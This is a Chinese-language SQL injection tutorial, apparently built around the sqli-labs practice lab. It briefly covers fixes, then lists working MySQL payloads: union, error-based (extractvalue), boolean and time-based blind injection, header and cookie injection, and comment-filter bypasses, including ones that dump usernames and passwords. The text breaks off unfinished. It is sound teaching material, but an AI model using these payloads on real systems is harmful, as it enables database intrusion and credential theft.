目錄:
一、SQL注入漏洞介紹
二、修復建議
三、通用姿勢
四、具體實例
五、各種繞過
一、SQL注入漏洞介紹:
SQL注入攻擊包括通過輸入數據從客戶端插入或“注入”SQL查詢到應用程序。一個成功的SQL注入攻擊可以從數據庫中獲取敏感數據、修改數據庫數據(插入/更新/刪除)、執行數據庫管理操作(如關閉數據庫管理系統)、恢復存在於數據庫文件系統中的指定文件內容,在某些情況下能對操作系統發布命令。SQL注入攻擊是一種注入攻擊。它將SQL命令注入到數據層輸入,從而影響執行預定義的SQL命令。由於用戶的輸入,也是SQL語句的一部分,所以攻擊者可以利用這部分可以控制的內容,注入自己定義的語句,改變SQL語句執行邏輯,讓數據庫執行任意自己需要的指令。通過控制部分SQL語句,攻擊者可以查詢數據庫中任何自己需要的數據,利用數據庫的一些特性,可以直接獲取數據庫服務器的系統權限。
二、修復建議
- 使用參數化查詢接口或在代碼級對帶入SQL語句中的外部參數進行轉義或過濾;
- 對於整數,判斷變量是否符合[0-9]的值;其他限定值,也可以進行合法性校驗;
- 對於字符串,對SQL語句特殊字符進行轉義(單引號轉成兩個單引號,雙引號轉成兩個雙引號)。
三、通用姿勢
3.1 通過以下操作先大概判斷是否存在注入點
- 如果參數(id)是數字,測試id=2-1與id=1返回的結果是否相同,如果做了2-1=1的運算,說明可能存在數字型注入。如果要用+號運算的話,因為URL編碼的問題,需要把加好換成%2B,如id=1%2B1
- 在參數后面加單引號或雙引號,判斷返回結果是否有報錯
- 添加注釋符,判斷前后是否有報錯,如id=1' --+ 或 id=1" --+ 或id=1' # 或id=1" --+ (--后面跟+號,是把+當成空格使用)
- 有些參數可能在括號里面,如:SELECT first_name, last_name FROM users WHERE user_id = ('$id');所以也可以在參數后面加單雙引號和括號,如id=1') --+ 或 id=1") --+ 或id=1') # 或id=1") --+
- 參數后面跟or 或者and,判斷返回結果是否有變化,如1' or 'a'='a 或者and 'a'='a或者1' or 'a'='b或者1' or '1'='2
- 如果返回的正確頁面與錯誤頁面都一樣,可以考慮時間延遲的方法判斷是否存在注入,如 1’ and sleep(5)
3.2 如果存在注入,利用注入獲取信息
3.2.1 查詢結果如果可以直接返回
利用聯合查詢一步步的獲取信息,如:
// 獲取數據庫名稱,注意聯合查詢要求前后查詢的列數和數據類型必須對應
1' union select schema_name ,1 from information_schema.schemata --
//根據上一步獲取的數據庫名稱,獲取表名
1' union select table_name from information_schema.tables where table_schema='database_name'
//根據上面的數據庫名稱和表名獲取字段名
1' union select column_name from information_schema.columns where table_schema='database_name' and table_name='table_name'
//獲取字段值,使用group_concat的目的是把查詢結果合並成1列,另外,如果跨數據庫查詢值得花,需要使用數據庫名.表明的格式,比如information_schema.schemata
1′ union select group_concat(user_id,first_name,last_name),group_concat(password) from 數據庫名.表名
3.2.2 通過報錯回顯查詢結果,如:
#利用報錯回顯查詢到的值,回顯當前的數據庫名
and extractvalue(1,concat(0x7e,(select database())))
#回顯表名
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' )))
#回顯列名
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))
3.2.3 布爾型注入,如:
#判斷數據庫名的長度是多少 SELECT * FROM users where id ='1' and LENGTH(database())=8 # 二分查找發挨個判斷數據庫名稱的每個字母 SELECT * FROM users where id ='1' and ascii(substr((select database()),1,1))>115 #挨個判斷此數據庫中表的每個字母 SELECT * FROM users where id ='1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))>116
3.2.4 時間延遲注入,如:
and IF(ascii(substr((select database()),1,1))>115,1,sleep(5))
四、具體實例
4.1 字符型(參數在單引號內,直接返回結果)
步驟1:參數后面加一個單引號報SQL錯誤
分析:單引號報錯,所以參數在兩個單引號里面,通過閉合單引號、聯合查詢直接查詢到數據庫數據
步驟2:構造payload
id=0' union select NULL,database(),NULL --+ #查詢當前數據庫的名稱
#爆庫名
id=0' union select null,group_concat(schema_name),null from information_schema.schemata --+
#爆表名
id=0' union select null,group_concat(table_name),null from information_schema.tables where table_schema='security' --+
#爆字段名
id=0' union select null,group_concat(column_name),null from information_schema.columns where table_schema='security' and table_name='users' --+
#獲取數據庫中的數據
id=0' union select null,group_concat(username,0x3a,password),null from security.users--+
4.2 數字型(直接返回結果)
步驟1:id=1與id=2-1返回相同結果,數字型注入
步驟2:構造payload
無需引號閉合,id后面直接跟聯合索引就行了
#爆庫名
4.3 字符型(參數在單引號和括號內、直接返回結果)
步驟1:輸入單引號報錯,根據報錯可知參數在單引號和括號內
步驟2:閉合查詢
用單引號、括號和注釋閉合查詢,payload: id=1') --+
步驟3:各種爆,與上面的操作相同
4.4 布爾型(參數在單引內、不返回查詢結果)
步驟1:輸入單引號報錯,根據報錯得知參數在單引號內,構造id=1' --+返回正確頁面,確認存在注入
步驟2:查詢結果不返回,根據id=1' and 1=1 --+ 與 id=1' and 1=2 --+返回結果不同,判斷存在布爾型注入
步驟3:構造payload,先判斷數據庫名的長度,id=1' ' and LENGTH(database())=8 --+ 值等於8的時候返回正確的頁面,說明數據庫長度為8
步驟4:通過二分查找法,挨個判斷數據庫名稱的每個字母
id=1' and ascii(substr((select database()),1,1))>110 --+ #判斷第一個字母的ascii是否大於110,返回正確頁面,說明大於110
id=1' and ascii(substr((select database()),1,1))>118 --+ #判斷第一個字母的ascii是否大於118,返回不正確頁面,說明小與等於118
id=1' and ascii(substr((select database()),1,1))>115 --+ #判斷第一個字母的ascii是否大於115,返回不正確頁面,說明小與等於115
id=1' and ascii(substr((select database()),1,1))>113 --+ #判斷第一個字母的ascii是否大於113,返回正確頁面,說明大與113
id=1' and ascii(substr((select database()),1,1))>114 --+ #判斷第一個字母的ascii是否大於114,返回正確頁面,說明大與114
大於114,小於等於115,第一個字母的ascii值肯定就是115了,所以第一個字母就是s,依次類推可以查到剩下的所有字母。
4.5 布爾型(參數在單引內和兩個括號內、不返回查詢結果)
步驟1:輸入單引號報錯,但沒有詳細的報錯提示
步驟2:增加1個括號也報錯,增加2個括號返回正確
步驟3:布爾型,不返回查詢結果,payload與上面的相同。
4.6 時間延遲注入(無論查詢是否正確都返回一樣的頁面)
步驟1:如論輸入什么,都返回一樣的頁面,所以考慮時間延遲注入
步驟2:直接1 and sleep(5) --+ 沒延遲,說明查詢語句沒有閉合成功
步驟3:猜測參數在單引號內,構造payload:id=1' and sleep(5) --+ 頁面相應延遲,存在注入
步驟4:構造payload,當數據庫名長度為8的時候沒有延遲,說明數據庫名稱的長度就是8
id=1' AND IF(LENGTH(database())=8,1,sleep(10)) --+
步驟5:通過如下方式,挨個判斷數據庫名的字母
id=1' and IF(ascii(substr((select database()),1,1))>115,1,sleep(5)) --+
4.7 字符型報錯注入(錯誤值被返回)
步驟1:按下面的測試,username字段存在字符型注入,參數在單引號內
步驟2:username字段輸入一些無關的東西,SQL報錯詳情被回顯
步驟3:利用extractvalue函數,讓執行的結果以報錯的方式顯示出來
extractvalue(目標xml文檔,xml路徑),第二個參數的格式是/xxx/xx/xx/xx,如果格式不正確就會把報錯顯示出來
構造payload:uname=admin' and extractvalue(1,concat(0x7e,(select database())))--+
4.7 user-agent類型的注入
步驟1:user-agent的值被原封返回了
步驟2:這里需要借助源碼審計了,否則不容易猜到真實的sql語句。
如下源碼所示,SQL語句是三個字段的insert語句,然后$uagent被返回。
步驟3:結合報錯注入,構造payload:
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0', extractvalue(1,concat(0x7e,(select database()))),'1') #
4.8 Referer類型的注入
方法與上述相同,先閉合sql語句,然后利用報錯返回,payload如下:
Referer: http://127.0.0.1/sql/Less-19/',extractvalue(1,concat(0x7e,(select database()))))#
4.9 Cookie類型的注入
步驟1:輸入單引號報錯,確認屬於cookie類型的注入,而且報錯回顯了,利用報錯回顯數據
步驟2:構造payload
Cookie: uname=admin' and extractvalue(1,concat(0x7e,(select database()))) #
五、各種繞過
5.1 注釋符被過濾(--、#)
方法1:union查詢中多加一個單引號以便閉合sql語句,比如:
id=0' union select null,database(),'null id=0' union select null,group_concat(schema_name),null from information_schema.schemata union select null,null,'nul
5.2 空格被過濾
方法1:使用/**/注釋符代替空格
未完待續……